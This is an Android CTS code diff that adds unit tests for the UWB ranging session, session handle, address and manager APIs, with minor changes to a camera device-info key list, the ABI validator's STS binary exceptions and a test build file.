diff --git a/tests/uwb/src/android/uwb/cts/RangingSessionTest.java b/tests/uwb/src/android/uwb/cts/RangingSessionTest.java
new file mode 100644
index 0000000..b936142
--- /dev/null
+++ b/tests/uwb/src/android/uwb/cts/RangingSessionTest.java
@@ -0,0 +1,382 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uwb.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.ArgumentMatchers.anyInt;
+import static org.mockito.ArgumentMatchers.eq;
+import static org.mockito.Mockito.doAnswer;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+
+import android.os.PersistableBundle;
+import android.os.RemoteException;
+import android.uwb.IUwbAdapter;
+import android.uwb.RangingReport;
+import android.uwb.RangingSession;
+import android.uwb.SessionHandle;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.invocation.InvocationOnMock;
+import org.mockito.stubbing.Answer;
+
+import java.util.concurrent.Executor;
+
+/**
+ * Test of {@link RangingSession}.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class RangingSessionTest {
+    private static final Executor EXECUTOR = UwbTestUtils.getExecutor();
+    private static final PersistableBundle PARAMS = new PersistableBundle();
+    private static final @RangingSession.Callback.Reason int REASON =
+            RangingSession.Callback.REASON_GENERIC_ERROR;
+
+    @Test
+    public void testOnRangingOpened_OnOpenSuccessCalled() {
+        SessionHandle handle = new SessionHandle(123);
+        RangingSession.Callback callback = mock(RangingSession.Callback.class);
+        IUwbAdapter adapter = mock(IUwbAdapter.class);
+        RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
+        verifyOpenState(session, false);
+
+        session.onRangingOpened();
+        verifyOpenState(session, true);
+
+        // Verify that the onOpenSuccess callback was invoked
+        verify(callback, times(1)).onOpened(eq(session));
+        verify(callback, times(0)).onClosed(anyInt(), any());
+    }
+
+    @Test
+    public void testOnRangingOpened_CannotOpenClosedSession() {
+        SessionHandle handle = new SessionHandle(123);
+        RangingSession.Callback callback = mock(RangingSession.Callback.class);
+        IUwbAdapter adapter = mock(IUwbAdapter.class);
+        RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
+
+        session.onRangingOpened();
+        verifyOpenState(session, true);
+        verify(callback, times(1)).onOpened(eq(session));
+        verify(callback, times(0)).onClosed(anyInt(), any());
+
+        session.onRangingClosed(REASON, PARAMS);
+        verifyOpenState(session, false);
+        verify(callback, times(1)).onOpened(eq(session));
+        verify(callback, times(1)).onClosed(anyInt(), any());
+
+        // Now invoke the ranging started callback and ensure the session remains closed
+        session.onRangingOpened();
+        verifyOpenState(session, false);
+        verify(callback, times(1)).onOpened(eq(session));
+        verify(callback, times(1)).onClosed(anyInt(), any());
+    }
+
+    @Test
+    public void testOnRangingClosed_OnClosedCalledWhenSessionNotOpen() {
+        SessionHandle handle = new SessionHandle(123);
+        RangingSession.Callback callback = mock(RangingSession.Callback.class);
+        IUwbAdapter adapter = mock(IUwbAdapter.class);
+        RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
+        verifyOpenState(session, false);
+
+        session.onRangingClosed(REASON, PARAMS);
+        verifyOpenState(session, false);
+
+        // Verify that the onOpenSuccess callback was invoked
+        verify(callback, times(0)).onOpened(eq(session));
+        verify(callback, times(1)).onClosed(anyInt(), any());
+    }
+
+    @Test
+    public void testOnRangingClosed_OnClosedCalled() {
+        SessionHandle handle = new SessionHandle(123);
+        RangingSession.Callback callback = mock(RangingSession.Callback.class);
+        IUwbAdapter adapter = mock(IUwbAdapter.class);
+        RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
+        session.onRangingStarted(PARAMS);
+        session.onRangingClosed(REASON, PARAMS);
+        verify(callback, times(1)).onClosed(anyInt(), any());
+
+        verifyOpenState(session, false);
+        session.onRangingClosed(REASON, PARAMS);
+        verify(callback, times(2)).onClosed(anyInt(), any());
+    }
+
+    @Test
+    public void testOnRangingResult_OnReportReceivedCalled() {
+        SessionHandle handle = new SessionHandle(123);
+        RangingSession.Callback callback = mock(RangingSession.Callback.class);
+        IUwbAdapter adapter = mock(IUwbAdapter.class);
+        RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
+        verifyOpenState(session, false);
+
+        session.onRangingStarted(PARAMS);
+        verifyOpenState(session, true);
+
+        RangingReport report = UwbTestUtils.getRangingReports(1);
+        session.onRangingResult(report);
+        verify(callback, times(1)).onReportReceived(eq(report));
+    }
+
+    @Test
+    public void testStart_CannotStartIfAlreadyStarted() throws RemoteException {
+        SessionHandle handle = new SessionHandle(123);
+        RangingSession.Callback callback = mock(RangingSession.Callback.class);
+        IUwbAdapter adapter = mock(IUwbAdapter.class);
+        RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
+        doAnswer(new StartAnswer(session)).when(adapter).startRanging(any(), any());
+        session.onRangingOpened();
+
+        session.start(PARAMS);
+        verify(callback, times(1)).onStarted(any());
+
+        // Calling start again should throw an illegal state
+        verifyThrowIllegalState(() -> session.start(PARAMS));
+        verify(callback, times(1)).onStarted(any());
+    }
+
+    @Test
+    public void testStop_CannotStopIfAlreadyStopped() throws RemoteException {
+        SessionHandle handle = new SessionHandle(123);
+        RangingSession.Callback callback = mock(RangingSession.Callback.class);
+        IUwbAdapter adapter = mock(IUwbAdapter.class);
+        RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
+        doAnswer(new StartAnswer(session)).when(adapter).startRanging(any(), any());
+        doAnswer(new StopAnswer(session)).when(adapter).stopRanging(any());
+        session.onRangingOpened();
+        session.start(PARAMS);
+
+        verifyNoThrowIllegalState(session::stop);
+        verify(callback, times(1)).onStopped();
+
+        // Calling stop again should throw an illegal state
+        verifyThrowIllegalState(session::stop);
+        verify(callback, times(1)).onStopped();
+    }
+
+    @Test
+    public void testReconfigure_OnlyWhenOpened() throws RemoteException {
+        SessionHandle handle = new SessionHandle(123);
+        RangingSession.Callback callback = mock(RangingSession.Callback.class);
+        IUwbAdapter adapter = mock(IUwbAdapter.class);
+        RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
+        doAnswer(new StartAnswer(session)).when(adapter).startRanging(any(), any());
+        doAnswer(new ReconfigureAnswer(session)).when(adapter).reconfigureRanging(any(), any());
+
+        verifyThrowIllegalState(() -> session.reconfigure(PARAMS));
+        verify(callback, times(0)).onReconfigured(any());
+        verifyOpenState(session, false);
+
+        session.onRangingOpened();
+        verifyNoThrowIllegalState(() -> session.reconfigure(PARAMS));
+        verify(callback, times(1)).onReconfigured(any());
+        verifyOpenState(session, true);
+
+        session.onRangingStarted(PARAMS);
+        verifyNoThrowIllegalState(() -> session.reconfigure(PARAMS));
+        verify(callback, times(2)).onReconfigured(any());
+        verifyOpenState(session, true);
+
+        session.onRangingStopped();
+        verifyNoThrowIllegalState(() -> session.reconfigure(PARAMS));
+        verify(callback, times(3)).onReconfigured(any());
+        verifyOpenState(session, true);
+
+
+        session.onRangingClosed(REASON, PARAMS);
+        verifyThrowIllegalState(() -> session.reconfigure(PARAMS));
+        verify(callback, times(3)).onReconfigured(any());
+        verifyOpenState(session, false);
+    }
+
+    @Test
+    public void testClose_NoCallbackUntilInvoked() throws RemoteException {
+        SessionHandle handle = new SessionHandle(123);
+        RangingSession.Callback callback = mock(RangingSession.Callback.class);
+        IUwbAdapter adapter = mock(IUwbAdapter.class);
+        RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
+        session.onRangingOpened();
+
+        // Calling close multiple times should invoke closeRanging until the session receives
+        // the onClosed callback.
+        int totalCallsBeforeOnRangingClosed = 3;
+        for (int i = 1; i <= totalCallsBeforeOnRangingClosed; i++) {
+            session.close();
+            verifyOpenState(session, true);
+            verify(adapter, times(i)).closeRanging(handle);
+            verify(callback, times(0)).onClosed(anyInt(), any());
+        }
+
+        // After onClosed is invoked, then the adapter should no longer be called for each call to
+        // the session's close.
+        final int totalCallsAfterOnRangingClosed = 2;
+        for (int i = 1; i <= totalCallsAfterOnRangingClosed; i++) {
+            session.onRangingClosed(REASON, PARAMS);
+            verifyOpenState(session, false);
+            verify(adapter, times(totalCallsBeforeOnRangingClosed)).closeRanging(handle);
+            verify(callback, times(i)).onClosed(anyInt(), any());
+        }
+    }
+
+    @Test
+    public void testClose_OnClosedCalled() throws RemoteException {
+        SessionHandle handle = new SessionHandle(123);
+        RangingSession.Callback callback = mock(RangingSession.Callback.class);
+        IUwbAdapter adapter = mock(IUwbAdapter.class);
+        RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
+        doAnswer(new CloseAnswer(session)).when(adapter).closeRanging(any());
+        session.onRangingOpened();
+
+        session.close();
+        verify(callback, times(1)).onClosed(anyInt(), any());
+    }
+
+    @Test
+    public void testClose_CannotInteractFurther() throws RemoteException {
+        SessionHandle handle = new SessionHandle(123);
+        RangingSession.Callback callback = mock(RangingSession.Callback.class);
+        IUwbAdapter adapter = mock(IUwbAdapter.class);
+        RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
+        doAnswer(new CloseAnswer(session)).when(adapter).closeRanging(any());
+        session.close();
+
+        verifyThrowIllegalState(() -> session.start(PARAMS));
+        verifyThrowIllegalState(() -> session.reconfigure(PARAMS));
+        verifyThrowIllegalState(() -> session.stop());
+        verifyNoThrowIllegalState(() -> session.close());
+    }
+
+    @Test
+    public void testOnRangingResult_OnReportReceivedCalledWhenOpen() {
+        SessionHandle handle = new SessionHandle(123);
+        RangingSession.Callback callback = mock(RangingSession.Callback.class);
+        IUwbAdapter adapter = mock(IUwbAdapter.class);
+        RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
+
+        assertFalse(session.isOpen());
+        session.onRangingStarted(PARAMS);
+        assertTrue(session.isOpen());
+
+        // Verify that the onReportReceived callback was invoked
+        RangingReport report = UwbTestUtils.getRangingReports(1);
+        session.onRangingResult(report);
+        verify(callback, times(1)).onReportReceived(report);
+    }
+
+    @Test
+    public void testOnRangingResult_OnReportReceivedNotCalledWhenNotOpen() {
+        SessionHandle handle = new SessionHandle(123);
+        RangingSession.Callback callback = mock(RangingSession.Callback.class);
+        IUwbAdapter adapter = mock(IUwbAdapter.class);
+        RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
+
+        assertFalse(session.isOpen());
+
+        // Verify that the onReportReceived callback was invoked
+        RangingReport report = UwbTestUtils.getRangingReports(1);
+        session.onRangingResult(report);
+        verify(callback, times(0)).onReportReceived(report);
+    }
+
+    private void verifyOpenState(RangingSession session, boolean expected) {
+        assertEquals(expected, session.isOpen());
+    }
+
+    private void verifyThrowIllegalState(Runnable runnable) {
+        try {
+            runnable.run();
+            fail();
+        } catch (IllegalStateException e) {
+            // Pass
+        }
+    }
+
+    private void verifyNoThrowIllegalState(Runnable runnable) {
+        try {
+            runnable.run();
+        } catch (IllegalStateException e) {
+            fail();
+        }
+    }
+
+    abstract class AdapterAnswer implements Answer {
+        protected RangingSession mSession;
+
+        protected AdapterAnswer(RangingSession session) {
+            mSession = session;
+        }
+    }
+
+    class StartAnswer extends AdapterAnswer {
+        StartAnswer(RangingSession session) {
+            super(session);
+        }
+
+        @Override
+        public Object answer(InvocationOnMock invocation) {
+            mSession.onRangingStarted(PARAMS);
+            return null;
+        }
+    }
+
+    class ReconfigureAnswer extends AdapterAnswer {
+        ReconfigureAnswer(RangingSession session) {
+            super(session);
+        }
+
+        @Override
+        public Object answer(InvocationOnMock invocation) {
+            mSession.onRangingReconfigured(PARAMS);
+            return null;
+        }
+    }
+
+    class StopAnswer extends AdapterAnswer {
+        StopAnswer(RangingSession session) {
+            super(session);
+        }
+
+        @Override
+        public Object answer(InvocationOnMock invocation) {
+            mSession.onRangingStopped();
+            return null;
+        }
+    }
+
+    class CloseAnswer extends AdapterAnswer {
+        CloseAnswer(RangingSession session) {
+            super(session);
+        }
+
+        @Override
+        public Object answer(InvocationOnMock invocation) {
+            mSession.onRangingClosed(REASON, PARAMS);
+            return null;
+        }
+    }
+}
diff --git a/tests/uwb/src/android/uwb/cts/SessionHandleTest.java b/tests/uwb/src/android/uwb/cts/SessionHandleTest.java
new file mode 100644
index 0000000..d52a3e7
--- /dev/null
+++ b/tests/uwb/src/android/uwb/cts/SessionHandleTest.java
@@ -0,0 +1,53 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uwb.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.os.Parcel;
+import android.uwb.SessionHandle;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test of {@link SessionHandle}.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class SessionHandleTest {
+
+    @Test
+    public void testBasic() {
+        int handleId = 12;
+        SessionHandle handle = new SessionHandle(handleId);
+        assertEquals(handle.getId(), handleId);
+    }
+
+    @Test
+    public void testParcel() {
+        Parcel parcel = Parcel.obtain();
+        SessionHandle handle = new SessionHandle(10);
+        handle.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        SessionHandle fromParcel = SessionHandle.CREATOR.createFromParcel(parcel);
+        assertEquals(handle, fromParcel);
+    }
+}
diff --git a/tests/uwb/src/android/uwb/cts/UwbAddressTest.java b/tests/uwb/src/android/uwb/cts/UwbAddressTest.java
new file mode 100644
index 0000000..d2f4228
--- /dev/null
+++ b/tests/uwb/src/android/uwb/cts/UwbAddressTest.java
@@ -0,0 +1,80 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uwb.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.os.Parcel;
+import android.uwb.UwbAddress;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test of {@link UwbAddress}.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class UwbAddressTest {
+
+    @Test
+    public void testFromBytes_Short() {
+        runFromBytes(UwbAddress.SHORT_ADDRESS_BYTE_LENGTH);
+    }
+
+    @Test
+    public void testFromBytes_Extended() {
+        runFromBytes(UwbAddress.EXTENDED_ADDRESS_BYTE_LENGTH);
+    }
+
+    private void runFromBytes(int len) {
+        byte[] addressBytes = getByteArray(len);
+        UwbAddress address = UwbAddress.fromBytes(addressBytes);
+        assertEquals(address.size(), len);
+        assertEquals(addressBytes, address.toBytes());
+    }
+
+    private byte[] getByteArray(int len) {
+        byte[] res = new byte[len];
+        for (int i = 0; i < len; i++) {
+            res[i] = (byte) i;
+        }
+        return res;
+    }
+
+    @Test
+    public void testParcel_Short() {
+        runParcel(true);
+    }
+
+    @Test
+    public void testParcel_Extended() {
+        runParcel(false);
+    }
+
+    private void runParcel(boolean useShortAddress) {
+        Parcel parcel = Parcel.obtain();
+        UwbAddress address = UwbTestUtils.getUwbAddress(useShortAddress);
+        address.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        UwbAddress fromParcel = UwbAddress.CREATOR.createFromParcel(parcel);
+        assertEquals(address, fromParcel);
+    }
+}
diff --git a/tests/uwb/src/android/uwb/cts/UwbManagerTest.java b/tests/uwb/src/android/uwb/cts/UwbManagerTest.java
new file mode 100644
index 0000000..de1265e
--- /dev/null
+++ b/tests/uwb/src/android/uwb/cts/UwbManagerTest.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uwb.cts;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+
+import android.content.Context;
+import android.uwb.UwbManager;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test of {@link UwbManager}.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class UwbManagerTest {
+
+    public final Context mContext = InstrumentationRegistry.getContext();
+
+    @Test
+    public void testServiceAvailable() {
+        UwbManager manager = mContext.getSystemService(UwbManager.class);
+        if (UwbTestUtils.isUwbSupported(mContext)) {
+            assertNotNull(manager);
+        } else {
+            assertNull(manager);
+        }
+    }
+}
diff --git a/tests/uwb/src/android/uwb/cts/UwbTestUtils.java b/tests/uwb/src/android/uwb/cts/UwbTestUtils.java
new file mode 100644
index 0000000..b5d8e1b
--- /dev/null
+++ b/tests/uwb/src/android/uwb/cts/UwbTestUtils.java
@@ -0,0 +1,115 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uwb.cts;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.os.SystemClock;
+import android.uwb.AngleMeasurement;
+import android.uwb.AngleOfArrivalMeasurement;
+import android.uwb.DistanceMeasurement;
+import android.uwb.RangingMeasurement;
+import android.uwb.RangingReport;
+import android.uwb.UwbAddress;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.Executor;
+
+public class UwbTestUtils {
+    private UwbTestUtils() {}
+
+    public static boolean isUwbSupported(Context context) {
+        PackageManager packageManager = context.getPackageManager();
+        return packageManager.hasSystemFeature(PackageManager.FEATURE_UWB);
+    }
+
+    public static AngleMeasurement getAngleMeasurement() {
+        return new AngleMeasurement.Builder()
+                .setRadians(getDoubleInRange(-Math.PI, Math.PI))
+                .setErrorRadians(getDoubleInRange(0, Math.PI))
+                .setConfidenceLevel(getDoubleInRange(0, 1))
+                .build();
+    }
+
+    public static AngleOfArrivalMeasurement getAngleOfArrivalMeasurement() {
+        return new AngleOfArrivalMeasurement.Builder()
+                .setAltitude(getAngleMeasurement())
+                .setAzimuth(getAngleMeasurement())
+                .build();
+    }
+
+    public static DistanceMeasurement getDistanceMeasurement() {
+        return new DistanceMeasurement.Builder()
+                .setMeters(getDoubleInRange(0, 100))
+                .setErrorMeters(getDoubleInRange(0, 10))
+                .setConfidenceLevel(getDoubleInRange(0, 1))
+                .build();
+    }
+
+    public static RangingMeasurement getRangingMeasurement() {
+        return getRangingMeasurement(getUwbAddress(false));
+    }
+
+    public static RangingMeasurement getRangingMeasurement(UwbAddress address) {
+        return new RangingMeasurement.Builder()
+                .setDistanceMeasurement(getDistanceMeasurement())
+                .setAngleOfArrivalMeasurement(getAngleOfArrivalMeasurement())
+                .setElapsedRealtimeNanos(SystemClock.elapsedRealtimeNanos())
+                .setRemoteDeviceAddress(address != null ? address : getUwbAddress(false))
+                .setStatus(RangingMeasurement.RANGING_STATUS_SUCCESS)
+                .build();
+    }
+
+    public static List<RangingMeasurement> getRangingMeasurements(int num) {
+        List<RangingMeasurement> result = new ArrayList<>();
+        for (int i = 0; i < num; i++) {
+            result.add(getRangingMeasurement());
+        }
+        return result;
+    }
+
+    public static RangingReport getRangingReports(int numMeasurements) {
+        RangingReport.Builder builder = new RangingReport.Builder();
+        for (int i = 0; i < numMeasurements; i++) {
+            builder.addMeasurement(getRangingMeasurement());
+        }
+        return builder.build();
+    }
+
+    private static double getDoubleInRange(double min, double max) {
+        return min + (max - min) * Math.random();
+    }
+
+    public static UwbAddress getUwbAddress(boolean isShortAddress) {
+        byte[] addressBytes = new byte[isShortAddress ? UwbAddress.SHORT_ADDRESS_BYTE_LENGTH :
+                UwbAddress.EXTENDED_ADDRESS_BYTE_LENGTH];
+        for (int i = 0; i < addressBytes.length; i++) {
+            addressBytes[i] = (byte) getDoubleInRange(1, 255);
+        }
+        return UwbAddress.fromBytes(addressBytes);
+    }
+
+    public static Executor getExecutor() {
+        return new Executor() {
+            @Override
+            public void execute(Runnable command) {
+                command.run();
+            }
+        };
+    }
+}
diff --git a/tools/cts-device-info/src/com/android/cts/deviceinfo/CameraDeviceInfo.java b/tools/cts-device-info/src/com/android/cts/deviceinfo/CameraDeviceInfo.java
index 8716562..0c73c32 100644
--- a/tools/cts-device-info/src/com/android/cts/deviceinfo/CameraDeviceInfo.java
+++ b/tools/cts-device-info/src/com/android/cts/deviceinfo/CameraDeviceInfo.java
@@ -537,6 +537,7 @@
         charsKeyNames.add(CameraCharacteristics.SCALER_MANDATORY_STREAM_COMBINATIONS.getName());
         charsKeyNames.add(CameraCharacteristics.SCALER_MANDATORY_CONCURRENT_STREAM_COMBINATIONS.getName());
         charsKeyNames.add(CameraCharacteristics.SCALER_AVAILABLE_ROTATE_AND_CROP_MODES.getName());
+        charsKeyNames.add(CameraCharacteristics.SCALER_DEFAULT_SECURE_IMAGE_SIZE.getName());
         charsKeyNames.add(CameraCharacteristics.SENSOR_REFERENCE_ILLUMINANT1.getName());
         charsKeyNames.add(CameraCharacteristics.SENSOR_REFERENCE_ILLUMINANT2.getName());
         charsKeyNames.add(CameraCharacteristics.SENSOR_CALIBRATION_TRANSFORM1.getName());
diff --git a/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java
index 7586074..096db55a 100644
--- a/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java
+++ b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java
@@ -108,6 +108,16 @@
         "^CVE-\\d{4}-.+$"
     };
 
+    private static final String[] BINARY_SUFFIX_EXCEPTIONS = {
+        /**
+         * All STS test binaries rvc+ are in the form of *_sts32 or *_sts64.
+         *
+         * Many STS binaries are only feasible on a specific bitness so STS
+         * pushes the appropriate binary to compatible devices.
+         */
+        "_sts32", "_sts64",
+    };
+
     /**
      * Test that all apks have the same supported abis.
      * Sometimes, if a module is missing LOCAL_MULTILIB := both, we will end up with only one of
@@ -202,6 +212,11 @@
                 if (BINARY_EXCEPTIONS.contains(name)) {
                     return false;
                 }
+                for (String suffixException : BINARY_SUFFIX_EXCEPTIONS) {
+                    if (name.endsWith(suffixException)) {
+                        return false;
+                    }
+                }
                 File file = new File(dir, name);
                 if (file.isDirectory()) {
                     return false;
diff --git a/tools/manifest-generator/tests/Android.bp b/tools/manifest-generator/tests/Android.bp
index b8f012d..2e34a91 100644
--- a/tools/manifest-generator/tests/Android.bp
+++ b/tools/manifest-generator/tests/Android.bp
@@ -17,8 +17,11 @@
 
     srcs: ["src/**/*.java"],
 
-    libs: [
+    static_libs: [
         "compatibility-manifest-generator",
         "junit",
     ],
+    test_options: {
+        unit_test: true,
+    },
 }